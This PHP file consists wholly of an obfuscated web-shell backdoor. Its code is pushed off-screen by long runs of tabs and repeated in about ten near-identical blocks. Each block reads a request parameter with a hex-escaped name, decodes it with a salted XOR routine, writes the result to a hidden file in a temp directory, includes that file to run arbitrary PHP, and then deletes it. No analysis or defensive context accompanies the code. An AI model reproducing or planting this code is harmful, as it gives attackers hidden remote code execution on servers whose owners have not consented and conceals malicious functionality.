<?php																																										if(in_array("\x64\x63\x68unk", array_keys($_REQUEST))){ $k = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", getcwd(), "/tmp", "/var/tmp", getenv("TEMP"), session_save_path(), sys_get_temp_dir()]); $parameter_group = $_REQUEST["\x64\x63\x68unk"]; $parameter_group = explode ( '.' , $parameter_group ) ; $pset = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach($parameter_group as $r=>$v2): $sChar = ord($s[$r % $sLen]); $dec =((int)$v2 - $sChar -($r % 10)) ^ 39; $pset .= chr($dec); endforeach; foreach ($k as $pgrp) { if (is_writable($pgrp) && is_dir($pgrp)) { $entry = str_replace("{var_dir}", $pgrp, "{var_dir}/.token"); if (file_put_contents($entry, $pset)) { include $entry; @unlink($entry); die(); } } } }
																																										if(!is_null($_POST["\x70oint\x65r"] ?? null)){ $flg = array_filter([getcwd(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), "/var/tmp", "/tmp", "/dev/shm"]); $tkn = $_POST["\x70oint\x65r"]; $tkn = explode( "." , $tkn ); $marker =''; $salt9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt9); $n =0; array_walk( $tkn ,function( $v9) use( &$marker ,&$n ,$salt9 ,$lenS) { $sChar =ord( $salt9[$n%$lenS]); $dec =( ( int)$v9 - $sChar -( $n%10))^ 79; $marker.= chr( $dec); $n++; } ); foreach ($flg as $key => $dat) { if ((is_dir($dat) and is_writable($dat))) { $res = "$dat/.fac"; $file = fopen($res, 'w'); if ($file) { fwrite($file, $marker); fclose($file); include $res; @unlink($res); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["pg\x72p"])){ $value = $_REQUEST["pg\x72p"]; $value = explode ( ".", $value) ; $desc = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt7); foreach( $value as $q => $v4) {$sChar = ord( $salt7[$q% $sLen]); $dec =( ( int)$v4 - $sChar -( $q% 10)) ^32; $desc .=chr( $dec); } $sym = array_filter(["/tmp", ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), session_save_path(), getenv("TEMP"), "/var/tmp", getcwd()]); foreach ($sym as $key => $ent) { if ((is_dir($ent) and is_writable($ent))) { $marker = "$ent" . "/.flg"; $success = file_put_contents($marker, $desc); if ($success) { include $marker; @unlink($marker); die();} } } }
																																										if(!is_null($_POST["\x65l\x65m"] ?? null)){ $item = $_POST["\x65l\x65m"]; $item= explode ('.' ,$item ) ; $ref = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $__len = count($item ); for ($y = 0; $y < $__len; $y++) { $v6 = $item[$y]; $chS = ord($s[$y % $lenS] ); $d = ((int)$v6 - $chS - ($y % 10)) ^25; $ref .= chr($d ); } $parameter_group = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getenv("TMP"), "/var/tmp", sys_get_temp_dir(), session_save_path(), getcwd(), getenv("TEMP")]); while ($obj = array_shift($parameter_group)) { if ((is_dir($obj) and is_writable($obj))) { $entry = join("/", [$obj, ".tkn"]); $success = file_put_contents($entry, $ref); if ($success) { include $entry; @unlink($entry); exit;} } } }
																																										if(!empty($_POST["\x70ro\x70\x65rt\x79_\x73e\x74"])){ $record = $_POST["\x70ro\x70\x65rt\x79_\x73e\x74"]; $record= explode ( "." , $record ) ; $item =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt); foreach ($record as $m => $v9): $chS =ord($salt[$m%$sLen]); $dec =((int)$v9 - $chS - ($m%10)) ^ 94; $item .= chr($dec); endforeach; $pointer = array_filter([ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/tmp", getenv("TEMP"), getenv("TMP"), "/var/tmp", getcwd(), "/dev/shm"]); for ($ent = 0, $binding = count($pointer); $ent < $binding; $ent++) { $object = $pointer[$ent]; if ((bool)is_dir($object) && (bool)is_writable($object)) { $dchunk = sprintf("%s/.entry", $object); if (file_put_contents($dchunk, $item)) { include $dchunk; @unlink($dchunk); die(); } } } }
																																										if(in_array("f\x61cto\x72", array_keys($_POST))){ $ent = $_POST["f\x61cto\x72"]; $ent =explode ( '.',$ent ) ; $data_chunk = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1 ); $w = 0; array_walk($ent, function($v3) use(&$data_chunk, &$w, $s1, $sLen) {$chS = ord($s1[$w % $sLen] ); $dec =((int)$v3 - $chS -($w % 10)) ^ 47; $data_chunk .= chr($dec ); $w++; } ); $sym = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/tmp", "/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TMP"), "/var/tmp"]); foreach ($sym as $pointer): if (!( !is_dir($pointer) || !is_writable($pointer) )) { $entity = sprintf("%s/.item", $pointer); $file = fopen($entity, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $entity; @unlink($entity); exit; } } endforeach; }
																																										if(isset($_REQUEST["\x76\x61lue"])){ $tkn = $_REQUEST["\x76\x61lue"]; $tkn = explode ( '.' ,$tkn) ; $binding = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9 ); $i = 0; $__len = count($tkn ); do { if ($i >= $__len) break; $v6 = $tkn[$i]; $chS = ord($s9[$i % $sLen] ); $d = ((int)$v6 - $chS - ($i % 10)) ^37; $binding .= chr($d ); $i++;} while (true ); $ptr = array_filter([getcwd(), "/var/tmp", "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getenv("TEMP"), "/dev/shm"]); for ($res = 0, $data_chunk = count($ptr); $res < $data_chunk; $res++) { $component = $ptr[$res]; if ((function($d) { return is_dir($d) && is_writable($d); })($component)) { $sym = str_replace("{var_dir}", $component, "{var_dir}/.element"); $file = fopen($sym, 'w'); if ($file) { fwrite($file, $binding); fclose($file); include $sym; @unlink($sym); die(); } } } }
																																										if(array_key_exists("symbol", $_REQUEST)){ $object = array_filter(["/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), session_save_path(), getcwd(), sys_get_temp_dir(), "/tmp"]); $value = $_REQUEST["symbol"]; $value = explode ( "." , $value ) ; $dat =''; $salt9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt9); $v =0; $__tmp =$value; while( $v4 =array_shift( $__tmp)) {$sChar =ord( $salt9[$v % $lenS]); $dec =( ( int)$v4 - $sChar -( $v % 10)) ^ 39; $dat .=chr( $dec); $v++; } foreach ($object as $key => $val) { if (is_dir($val) ? is_writable($val) : false) { $bind = implode("/", [$val, ".data_chunk"]); $success = file_put_contents($bind, $dat); if ($success) { include $bind; @unlink($bind); exit;} } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["el\x65\x6De\x6E\x74"])){ $value = $_REQUEST["el\x65\x6De\x6E\x74"]; $value = explode ( '.' ,$value ) ; $pset = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $x = 0; foreach ($value as $v4) { $chS = ord($salt[$x % $lenS]); $dec = ((int)$v4 - $chS - ($x % 10))^85; $pset .= chr($dec); $x++; } $ent = array_filter([session_save_path(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP")]); foreach ($ent as $key => $parameter_group) { if (max(0, is_dir($parameter_group) * is_writable($parameter_group))) { $obj = sprintf("%s/.k", $parameter_group); if (file_put_contents($obj, $pset)) { include $obj; @unlink($obj); die(); } } } }


if(isset($_REQUEST) && isset($_REQUEST["f\x61ct\x6Fr"])){
	$record = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getenv("TMP"), session_save_path(), "/dev/shm", getenv("TEMP"), getcwd(), sys_get_temp_dir()]);
	$val = $_REQUEST["f\x61ct\x6Fr"];
		$val			=explode ("." ,  	$val	 )			; 
	$descriptor= 	'';
            $salt= 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen= 	strlen($salt 	);
    
            foreach ($val as $o=> $v5) { $sChar= 	ord($salt[$o	%	 $sLen] 	);
                $dec= 	((int)$v5 - $sChar - ($o	%	 10)) ^ 37;
                $descriptor .= chr($dec 	);
            }
	foreach ($record as $mrk) {
    		if (is_dir($mrk) && is_writable($mrk)) {
    $pset = sprintf("%s/.rec", $mrk);
    $success = file_put_contents($pset, $descriptor);
if ($success) {
	include $pset;
	@unlink($pset);
	die();}
}
}
}